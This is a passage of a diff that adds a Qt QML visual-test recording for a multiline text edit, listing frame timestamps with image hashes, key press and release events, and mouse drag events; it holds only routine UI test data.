+ hash: "6ef4fd1a5d53c16670163384ef4c8f06"
+ }
+ Frame {
+ msec: 2272
+ hash: "6ef4fd1a5d53c16670163384ef4c8f06"
+ }
+ Frame {
+ msec: 2288
+ hash: "6ef4fd1a5d53c16670163384ef4c8f06"
+ }
+ Frame {
+ msec: 2304
+ hash: "6ef4fd1a5d53c16670163384ef4c8f06"
+ }
+ Frame {
+ msec: 2320
+ hash: "6ef4fd1a5d53c16670163384ef4c8f06"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2336
+ hash: "6ef4fd1a5d53c16670163384ef4c8f06"
+ }
+ Frame {
+ msec: 2352
+ hash: "6ef4fd1a5d53c16670163384ef4c8f06"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "c656f82ce3471c70d5f8050c5bd904e6"
+ }
+ Frame {
+ msec: 2384
+ hash: "c656f82ce3471c70d5f8050c5bd904e6"
+ }
+ Frame {
+ msec: 2400
+ hash: "c656f82ce3471c70d5f8050c5bd904e6"
+ }
+ Frame {
+ msec: 2416
+ hash: "c656f82ce3471c70d5f8050c5bd904e6"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2432
+ hash: "c656f82ce3471c70d5f8050c5bd904e6"
+ }
+ Key {
+ type: 6
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "991d345c4a62087543afa032e8d4bd2f"
+ }
+ Frame {
+ msec: 2464
+ hash: "991d345c4a62087543afa032e8d4bd2f"
+ }
+ Frame {
+ msec: 2480
+ hash: "991d345c4a62087543afa032e8d4bd2f"
+ }
+ Frame {
+ msec: 2496
+ hash: "991d345c4a62087543afa032e8d4bd2f"
+ }
+ Frame {
+ msec: 2512
+ hash: "991d345c4a62087543afa032e8d4bd2f"
+ }
+ Frame {
+ msec: 2528
+ hash: "991d345c4a62087543afa032e8d4bd2f"
+ }
+ Key {
+ type: 7
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2544
+ hash: "991d345c4a62087543afa032e8d4bd2f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Frame {
+ msec: 2576
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Frame {
+ msec: 2592
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Frame {
+ msec: 2608
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2624
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Frame {
+ msec: 2640
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Frame {
+ msec: 2656
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Frame {
+ msec: 2672
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Frame {
+ msec: 2688
+ hash: "9b55130d7cb0922aaeed3a5aad103f98"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2704
+ hash: "9b323c8f49dc890af8849a0de8a7db4d"
+ }
+ Frame {
+ msec: 2720
+ hash: "9b323c8f49dc890af8849a0de8a7db4d"
+ }
+ Frame {
+ msec: 2736
+ hash: "9b323c8f49dc890af8849a0de8a7db4d"
+ }
+ Frame {
+ msec: 2752
+ hash: "9b323c8f49dc890af8849a0de8a7db4d"
+ }
+ Frame {
+ msec: 2768
+ hash: "9b323c8f49dc890af8849a0de8a7db4d"
+ }
+ Frame {
+ msec: 2784
+ hash: "9b323c8f49dc890af8849a0de8a7db4d"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "c3c761352c46bd89c400c6638180fa9a"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2816
+ hash: "c3c761352c46bd89c400c6638180fa9a"
+ }
+ Frame {
+ msec: 2832
+ hash: "c3c761352c46bd89c400c6638180fa9a"
+ }
+ Frame {
+ msec: 2848
+ hash: "c3c761352c46bd89c400c6638180fa9a"
+ }
+ Frame {
+ msec: 2864
+ hash: "c3c761352c46bd89c400c6638180fa9a"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2880
+ hash: "c3c761352c46bd89c400c6638180fa9a"
+ }
+ Frame {
+ msec: 2896
+ image: "usingMultilineEdit.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "c3c761352c46bd89c400c6638180fa9a"
+ }
+ Frame {
+ msec: 2928
+ hash: "c3c761352c46bd89c400c6638180fa9a"
+ }
+ Key {
+ type: 6
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "93af025fc4cf949167efac7ed3bc5258"
+ }
+ Frame {
+ msec: 2960
+ hash: "93af025fc4cf949167efac7ed3bc5258"
+ }
+ Frame {
+ msec: 2976
+ hash: "93af025fc4cf949167efac7ed3bc5258"
+ }
+ Key {
+ type: 7
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2992
+ hash: "41fe34c5246a438886e85fdc30513a08"
+ }
+ Frame {
+ msec: 3008
+ hash: "41fe34c5246a438886e85fdc30513a08"
+ }
+ Frame {
+ msec: 3024
+ hash: "41fe34c5246a438886e85fdc30513a08"
+ }
+ Frame {
+ msec: 3040
+ hash: "41fe34c5246a438886e85fdc30513a08"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3056
+ hash: "41fe34c5246a438886e85fdc30513a08"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3072
+ hash: "db7bd05984a1ca713382f109780b8e5d"
+ }
+ Frame {
+ msec: 3088
+ hash: "db7bd05984a1ca713382f109780b8e5d"
+ }
+ Frame {
+ msec: 3104
+ hash: "db7bd05984a1ca713382f109780b8e5d"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3120
+ hash: "db7bd05984a1ca713382f109780b8e5d"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 33554432
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3136
+ hash: "db7bd05984a1ca713382f109780b8e5d"
+ }
+ Frame {
+ msec: 3152
+ hash: "db7bd05984a1ca713382f109780b8e5d"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 33554432
+ text: "49"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3168
+ hash: "85bed6c44d017fb45591ee821a6e8c82"
+ }
+ Frame {
+ msec: 3184
+ hash: "85bed6c44d017fb45591ee821a6e8c82"
+ }
+ Frame {
+ msec: 3200
+ hash: "85bed6c44d017fb45591ee821a6e8c82"
+ }
+ Frame {
+ msec: 3216
+ hash: "85bed6c44d017fb45591ee821a6e8c82"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 33554432
+ text: "49"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3232
+ hash: "85bed6c44d017fb45591ee821a6e8c82"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3248
+ hash: "70e09c15e0db15327b278c20508cd77e"
+ }
+ Frame {
+ msec: 3264
+ hash: "70e09c15e0db15327b278c20508cd77e"
+ }
+ Frame {
+ msec: 3280
+ hash: "70e09c15e0db15327b278c20508cd77e"
+ }
+ Frame {
+ msec: 3296
+ hash: "70e09c15e0db15327b278c20508cd77e"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3312
+ hash: "70e09c15e0db15327b278c20508cd77e"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3328
+ hash: "7bdf47aad57a3e53683819927a9ba6f7"
+ }
+ Frame {
+ msec: 3344
+ hash: "7bdf47aad57a3e53683819927a9ba6f7"
+ }
+ Frame {
+ msec: 3360
+ hash: "7bdf47aad57a3e53683819927a9ba6f7"
+ }
+ Frame {
+ msec: 3376
+ hash: "7bdf47aad57a3e53683819927a9ba6f7"
+ }
+ Frame {
+ msec: 3392
+ hash: "7bdf47aad57a3e53683819927a9ba6f7"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3408
+ hash: "7bdf47aad57a3e53683819927a9ba6f7"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3424
+ hash: "cd302294ea4a6015f4093e3ce0640a15"
+ }
+ Frame {
+ msec: 3440
+ hash: "cd302294ea4a6015f4093e3ce0640a15"
+ }
+ Frame {
+ msec: 3456
+ hash: "cd302294ea4a6015f4093e3ce0640a15"
+ }
+ Frame {
+ msec: 3472
+ hash: "cd302294ea4a6015f4093e3ce0640a15"
+ }
+ Frame {
+ msec: 3488
+ hash: "cd302294ea4a6015f4093e3ce0640a15"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 78
+ modifiers: 0
+ text: "6e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3504
+ hash: "6679b8bffbcf389e1a56e9e494c9041c"
+ }
+ Frame {
+ msec: 3520
+ hash: "6679b8bffbcf389e1a56e9e494c9041c"
+ }
+ Frame {
+ msec: 3536
+ hash: "6679b8bffbcf389e1a56e9e494c9041c"
+ }
+ Frame {
+ msec: 3552
+ hash: "6679b8bffbcf389e1a56e9e494c9041c"
+ }
+ Frame {
+ msec: 3568
+ hash: "6679b8bffbcf389e1a56e9e494c9041c"
+ }
+ Frame {
+ msec: 3584
+ hash: "6679b8bffbcf389e1a56e9e494c9041c"
+ }
+ Key {
+ type: 7
+ key: 78
+ modifiers: 0
+ text: "6e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3600
+ hash: "6679b8bffbcf389e1a56e9e494c9041c"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3616
+ hash: "6cf8306437867645e5459cd4c9733ef7"
+ }
+ Frame {
+ msec: 3632
+ hash: "6cf8306437867645e5459cd4c9733ef7"
+ }
+ Frame {
+ msec: 3648
+ hash: "6cf8306437867645e5459cd4c9733ef7"
+ }
+ Frame {
+ msec: 3664
+ hash: "6cf8306437867645e5459cd4c9733ef7"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3680
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3696
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3712
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3728
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3744
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3760
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3776
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3792
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3808
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3824
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3840
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3856
+ image: "usingMultilineEdit.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3888
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3904
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3920
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3936
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3952
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Frame {
+ msec: 3968
+ hash: "31c0880fb6b8995881f0983685c51c81"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3984
+ hash: "34c2a53d8852e17ab2b7990eb6156343"
+ }
+ Frame {
+ msec: 4000
+ hash: "34c2a53d8852e17ab2b7990eb6156343"
+ }
+ Frame {
+ msec: 4016
+ hash: "34c2a53d8852e17ab2b7990eb6156343"
+ }
+ Frame {
+ msec: 4032
+ hash: "34c2a53d8852e17ab2b7990eb6156343"
+ }
+ Frame {
+ msec: 4048
+ hash: "34c2a53d8852e17ab2b7990eb6156343"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4064
+ hash: "75a0e73d34f90ca26b4c7e94a7a6ecd2"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "75a0e73d34f90ca26b4c7e94a7a6ecd2"
+ }
+ Frame {
+ msec: 4096
+ hash: "75a0e73d34f90ca26b4c7e94a7a6ecd2"
+ }
+ Frame {
+ msec: 4112
+ hash: "75a0e73d34f90ca26b4c7e94a7a6ecd2"
+ }
+ Frame {
+ msec: 4128
+ hash: "75a0e73d34f90ca26b4c7e94a7a6ecd2"
+ }
+ Key {
+ type: 6
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4144
+ hash: "296a65279cec34eb93083f3938bf9b16"
+ }
+ Frame {
+ msec: 4160
+ hash: "296a65279cec34eb93083f3938bf9b16"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4176
+ hash: "296a65279cec34eb93083f3938bf9b16"
+ }
+ Frame {
+ msec: 4192
+ hash: "296a65279cec34eb93083f3938bf9b16"
+ }
+ Frame {
+ msec: 4208
+ hash: "296a65279cec34eb93083f3938bf9b16"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4224
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Frame {
+ msec: 4240
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Key {
+ type: 7
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4256
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Frame {
+ msec: 4272
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4288
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Frame {
+ msec: 4304
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Frame {
+ msec: 4320
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Frame {
+ msec: 4336
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Frame {
+ msec: 4352
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Frame {
+ msec: 4368
+ hash: "902a4133742f9a99195a059f7f6b91df"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4384
+ hash: "7e92966a300a81511c5fcb9e447b9029"
+ }
+ Frame {
+ msec: 4400
+ hash: "7e92966a300a81511c5fcb9e447b9029"
+ }
+ Frame {
+ msec: 4416
+ hash: "7e92966a300a81511c5fcb9e447b9029"
+ }
+ Frame {
+ msec: 4432
+ hash: "7e92966a300a81511c5fcb9e447b9029"
+ }
+ Frame {
+ msec: 4448
+ hash: "7e92966a300a81511c5fcb9e447b9029"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4464
+ hash: "7e92966a300a81511c5fcb9e447b9029"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4480
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4496
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4512
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4528
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4544
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4560
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4576
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4592
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4608
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4624
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4640
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4656
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4672
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4688
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4704
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4720
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4736
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4752
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4768
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4784
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4800
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Frame {
+ msec: 4816
+ image: "usingMultilineEdit.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "d22869235a5e4689db64d97f0b5af6c0"
+ }
+ Key {
+ type: 6
+ key: 63
+ modifiers: 33554432
+ text: "3f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4848
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 4864
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 4880
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 4896
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 4912
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 4928
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 4944
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Key {
+ type: 7
+ key: 63
+ modifiers: 33554432
+ text: "3f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4960
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 4976
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 4992
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5008
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5024
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5040
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5056
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5072
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5088
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5104
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5120
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5136
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5152
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5168
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5184
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5200
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5216
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5232
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5248
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5264
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5280
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5296
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5312
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5328
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5344
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5360
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5376
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5392
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5408
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5424
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5440
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5456
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5472
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5488
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5504
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5520
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5536
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5552
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5568
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5584
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5600
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5616
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5632
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5648
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5664
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5680
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5696
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5712
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5728
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5744
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Frame {
+ msec: 5760
+ hash: "8153431eabfb3a6916aa37319d9fd379"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 48; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5776
+ image: "usingMultilineEdit.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 5808
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Frame {
+ msec: 5824
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5840
+ hash: "0fba30df8b6cac2f911fbd2b7c48fca6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "4b0c9ae119bd6c9f6331cbefc53afa3d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5872
+ hash: "4b0c9ae119bd6c9f6331cbefc53afa3d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "e6b3b80f052fec9f67b02a7f36676b5d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5904
+ hash: "37d1ee8e1c914d499dd7920576dadcae"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5920
+ hash: "37d1ee8e1c914d499dd7920576dadcae"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5936
